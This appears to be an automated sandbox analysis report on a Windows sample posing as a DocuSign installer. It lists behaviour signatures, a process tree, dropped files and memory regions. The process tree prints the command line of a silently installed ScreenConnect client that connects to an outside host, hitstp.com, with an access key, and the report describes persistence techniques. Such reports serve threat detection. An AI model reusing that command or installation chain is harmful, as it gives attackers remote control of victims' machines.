Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/08/2026, 12:48

General

  • Target
    2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
  • Size 90.5MB
  • Sample260808-p17e2a1wcv
  • SHA256 bca3eb65989c1330390cf0b67e97ae8a881e1a7fdca1f4843a8f50394c6eae5f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 23 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 11 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-08-08_2102b305b4183bbbd895bab03ff32782_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4508
    • C:\Windows\SysWOW64\msiexec.exe
      "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\DocuSign_f2b38001\app.msi" /quiet /norestart
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2744
    • C:\Users\Admin\AppData\Local\Temp\DocuSign_f2b38001\vc_redist.x64.exe
      "C:\Users\Admin\AppData\Local\Temp\DocuSign_f2b38001\vc_redist.x64.exe" /install /quiet /norestart
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3428
      • C:\Windows\Temp\{DF8B7348-DB36-4415-A8A7-2F1FA683E451}\.cr\vc_redist.x64.exe
        "C:\Windows\Temp\{DF8B7348-DB36-4415-A8A7-2F1FA683E451}\.cr\vc_redist.x64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\DocuSign_f2b38001\vc_redist.x64.exe" -burn.filehandle.attached=656 -burn.filehandle.self=696 /install /quiet /norestart
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4296
        • C:\Windows\Temp\{16CF6C12-CDC3-4164-8D59-B3AA298E437D}\.be\VC_redist.x64.exe
          "C:\Windows\Temp\{16CF6C12-CDC3-4164-8D59-B3AA298E437D}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{B6C874CF-1654-4F5A-9674-56C312780FFE} {B630CC35-FD70-4A3A-A2BA-658CD981837D} 4296
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:3676
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:836
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 71B88443DF31EDF49D9ABE4C22CD8BD9
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI6983.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240675281 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:668
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C3932C9CF419A47C5F1E1D28A2D3F6B1 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3788
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:4528
  • C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=hitstp.com&p=8041&s=54d47f2d-8cd2-4d8e-8132-489df280e294&k=BgIAAACkAABSU0ExAAgAAAEAAQB5pvd%2f0DKk64YAN%2b1fi1hQUZVQZI5oVgCR1OiCUWEAu38AQTb6ne29mBsdnBNrO%2bqHgwtHOkzc8Q9pIvUur65%2bE31wm3s92ZVYc8ldL2%2f9fRQCa8wgmfgcs3i2h3%2btTnnP9ZKoWWmxbpEmzgVwG9wzQCrhGLYFOA5WgnML8fM3x%2fzowFf2MUOegKyeXryhev%2fPjLoBn09uvZ%2bjTKeDhCekRTVTqXJEesGafJaCFYcbcLui0NJJbHV9w3Egkua6Cr4TtA%2fCMmxt1ziHZHSOiGUIWmMsoV2yhT%2f9ije%2fYrjaWrgOzvxsqbXhp9Il9bZotyo6M9pym4shuTVmfkF4gGXA"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4184
    • C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe" "RunRole" "81c62ac7-f248-4b32-bf23-41d5db1bdcb3" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4592
  • C:\Windows\system32\srtasks.exe
    C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
    1⤵
      PID:4656

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e5867ff.rbs

          • Path C:\Config.Msi\e5867ff.rbs
          • Size 214KB
          • SHA256 2e3fdefe9658e7c3703039aa2d271c8bec4dcf5d46df18a87b755a980511967d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.Override.resources
          • Size 25KB
          • SHA256 08ef947cc485b9c7e02f0f0e2ab3d3769f307c366ee5658fa2ce7c42f824ebfd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\app.config
          • Size 1KB
          • SHA256 184820b77dc6fc22b8a8bd7df71675dbc2a6d2e635c48adb71f3bc3cc0ed5bac
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (3bde66a4a659618b)\system.config
          • Size 940B
          • SHA256 3f0dca3ca0f948199949b32a56558ea0ef1af6f308f4319bd696adda97e98324
          • MD5 SHA1 SHA512 TLSH

          app.msi

          • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_f2b38001\app.msi
          • Size 3.0MB
          • SHA256 15323a81e05cdf898a62d91a56d39457d44115767cbe5d0a9e9e9dbbeb73887d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          vc_redist.x64.exe

          • Path C:\Users\Admin\AppData\Local\Temp\DocuSign_f2b38001\vc_redist.x64.exe
          • Size 24.4MB
          • SHA256 cc0ff0eb1dc3f5188ae6300faef32bf5beeba4bdd6e8e445a9184072096b713b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6983.tmp

          • Path C:\Windows\Installer\MSI6983.tmp
          • Size 1.0MB
          • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSI6983.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSI6983.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSI6983.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSI6983.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI6E09.tmp

          • Path C:\Windows\Installer\MSI6E09.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          3hgngx3s.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\3hgngx3s.newcfg
          • Size 558B
          • SHA256 ccbaab57da1f6ef5487d7005d970e9c898d1418d993d36f11168c67faec7e399
          • MD5 SHA1 SHA512 TLSH

          nagpyhvh.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\nagpyhvh.newcfg
          • Size 558B
          • SHA256 e56bcac76e1de82028d6bf0e51b34cbdb6453175b05cc4f920bc123a697be6a5
          • MD5 SHA1 SHA512 TLSH

          tb034ukn.newcfg

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\tb034ukn.newcfg
          • Size 558B
          • SHA256 9260795ada1be0e144b302122059ca3b4c222d4851404c46ea8189e4052cadb0
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
          • Size 558B
          • SHA256 4f4e363637f5fe1ccf2b412b9fb4506999ed1a60fd65dce4ad7a080aa4274800
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
          • Size 558B
          • SHA256 cca3ccb96d568e698ac7b45e8f19a2ae4a78e3c25a8994afb844e032661f6ec3
          • MD5 SHA1 SHA512 TLSH

          user.config

          • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (3bde66a4a659618b)\user.config
          • Size 558B
          • SHA256 5a3e6ce27f3e9cfaa437d504f2ccb96fd4ccfcc48afdcff8934f6da0894bf15b
          • MD5 SHA1 SHA512 TLSH

          logo.png

          • Path C:\Windows\Temp\{16CF6C12-CDC3-4164-8D59-B3AA298E437D}\.ba\logo.png
          • Size 1KB
          • SHA256 335a256d4779ec5dcf283d007fb56fd8211bbcaf47dcd70fe60ded6a112744ef
          • MD5 SHA1 SHA512 TLSH

          wixstdba.dll

          • Path C:\Windows\Temp\{16CF6C12-CDC3-4164-8D59-B3AA298E437D}\.ba\wixstdba.dll
          • Size 215KB
          • SHA256 e921f69b9fb4b5ad4691809d06896c5f1d655ab75e0ce94a372319c243c56d4e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          vc_redist.x64.exe

          • Path C:\Windows\Temp\{DF8B7348-DB36-4415-A8A7-2F1FA683E451}\.cr\vc_redist.x64.exe
          • Size 670KB
          • SHA256 568c9ba533624084ea18f7a562b4aa2249ed4e41281524a061a0d0b1008cf6bd
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/668-137-0x0000000005A70000-0x0000000005C1C000-memory.dmp

          memory/668-138-0x00000000061D0000-0x0000000006774000-memory.dmp

          memory/668-133-0x0000000005830000-0x00000000058BE000-memory.dmp

          memory/668-129-0x0000000005720000-0x000000000572A000-memory.dmp

          memory/668-125-0x00000000056E0000-0x000000000570E000-memory.dmp

          memory/4184-193-0x0000000003C70000-0x0000000003D02000-memory.dmp

          memory/4184-197-0x0000000003E50000-0x0000000003F25000-memory.dmp

          memory/4184-195-0x00000000039C0000-0x0000000003A01000-memory.dmp

          memory/4184-192-0x0000000003980000-0x00000000039B6000-memory.dmp

          memory/4184-177-0x00000000011D0000-0x00000000011E8000-memory.dmp

          memory/4184-188-0x0000000003930000-0x0000000003980000-memory.dmp

          memory/4508-236-0x000000000CAA0000-0x000000000CAC0000-memory.dmp

          memory/4508-5-0x0000000007910000-0x0000000008510000-memory.dmp

          memory/4508-32-0x000000000C0F0000-0x000000000C120000-memory.dmp

          memory/4508-33-0x000000000C0A0000-0x000000000C0C0000-memory.dmp

          memory/4508-37-0x000000000C0A0000-0x000000000C0C0000-memory.dmp

          memory/4508-38-0x000000000C170000-0x000000000C190000-memory.dmp

          memory/4508-42-0x000000000C170000-0x000000000C190000-memory.dmp

          memory/4508-15-0x0000000008760000-0x00000000087B0000-memory.dmp

          memory/4508-9-0x0000000007910000-0x0000000008510000-memory.dmp

          memory/4508-10-0x000000000B460000-0x000000000C0A0000-memory.dmp

          memory/4508-24-0x00000000086E0000-0x00000000086F0000-memory.dmp

          memory/4508-14-0x000000000B460000-0x000000000C0A0000-memory.dmp

          memory/4508-20-0x00000000086E0000-0x00000000086F0000-memory.dmp

          memory/4508-19-0x0000000008760000-0x00000000087B0000-memory.dmp

          memory/4508-226-0x000000000C8D0000-0x000000000C8F0000-memory.dmp

          memory/4508-230-0x000000000C8D0000-0x000000000C8F0000-memory.dmp

          memory/4508-235-0x000000000CDF0000-0x000000000D090000-memory.dmp

          memory/4508-250-0x000000000CB20000-0x000000000CB40000-memory.dmp

          memory/4508-246-0x000000000CB20000-0x000000000CB40000-memory.dmp

          memory/4508-245-0x000000000CAE0000-0x000000000CB20000-memory.dmp

          memory/4508-241-0x000000000CAE0000-0x000000000CB20000-memory.dmp

          memory/4508-240-0x000000000CAA0000-0x000000000CAC0000-memory.dmp

          memory/4508-28-0x000000000C0F0000-0x000000000C120000-memory.dmp

          memory/4508-231-0x000000000CDF0000-0x000000000D090000-memory.dmp

          memory/4592-224-0x0000000001440000-0x0000000001458000-memory.dmp

          memory/4592-223-0x00000000013B0000-0x00000000013C8000-memory.dmp

          memory/4592-222-0x000000001BF20000-0x000000001C0A6000-memory.dmp

          memory/4592-220-0x000000001BB30000-0x000000001BBBE000-memory.dmp

          memory/4592-221-0x000000001BD70000-0x000000001BF1C000-memory.dmp

          memory/4592-219-0x00000000013F0000-0x0000000001426000-memory.dmp

          memory/4592-218-0x0000000000B70000-0x0000000000C08000-memory.dmp